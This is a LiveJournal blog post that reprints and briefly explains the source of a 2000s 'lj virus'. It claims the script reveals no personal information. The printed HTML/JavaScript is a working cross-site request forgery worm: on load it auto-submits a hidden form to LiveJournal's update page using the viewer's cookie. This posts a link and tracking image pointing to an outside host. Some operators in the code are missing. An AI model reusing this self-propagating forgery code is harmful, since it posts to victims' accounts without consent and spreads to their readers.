Peter (xoder) wrote,
Peter
xoder

  • Mood:
  • Music:

the "lj virus" unmasked (and defanged)

Wherein we discover that none of your personal information is revealed to the author of the script. But do you know why? I do


<html>
<body onload="pageload()">

<script language="JavaScript">
function settime()
{
function twodigit (n)
{
if (n < 10) { return "0" n; }
else { return n; }
}
now=new Date();
if (!now) return false;
f=document.updateForm;
if (! f) return false;
f.year.value=now.getYear()<1900?now.getYear() 1900:now.getYear();
f.mon.value = twodigit(now.getMonth() 1);
f.day.value = twodigit(now.getDate());
f.hour.value = twodigit(now.getHours()); f.min.value = twodigit(now.getMinutes()); return false;
}
function pageload()
{
settime();
addljuser();
document.updateForm.submit();
return true;
}
function addljuser()
{
document.updateForm.event.value='<a href="http://sneak.datavibe.net/misc/lj/">this</a>is very interesting. <img src="http://sneak.datavibe.net/misc/lj/blah">';
}
</script>

<form method='post' action='http://www.livejournal.com/update.bml' id='updateForm' name='updateForm'>
<input type="hidden" value="" name="user" /><input type="hidden" name="auth_method" value="cookie" />
<input type="hidden" name="year" value="" /><input type="hidden" name="mon" value="" /><input type="hidden" name="day" value="" /><input type="hidden" name="hour" value="" /><input type="hidden" name="min" value="" />
<input type="hidden" name="subject" value="interesting..." />
<input type="hidden" name="event" value="" />
</form>

</body>
</html>
Subscribe
  • Post a new comment

    Error

    Anonymous comments are disabled in this journal

    default userpic

    Your reply will be screened

    Your IP address will be recorded 

  • 2 comments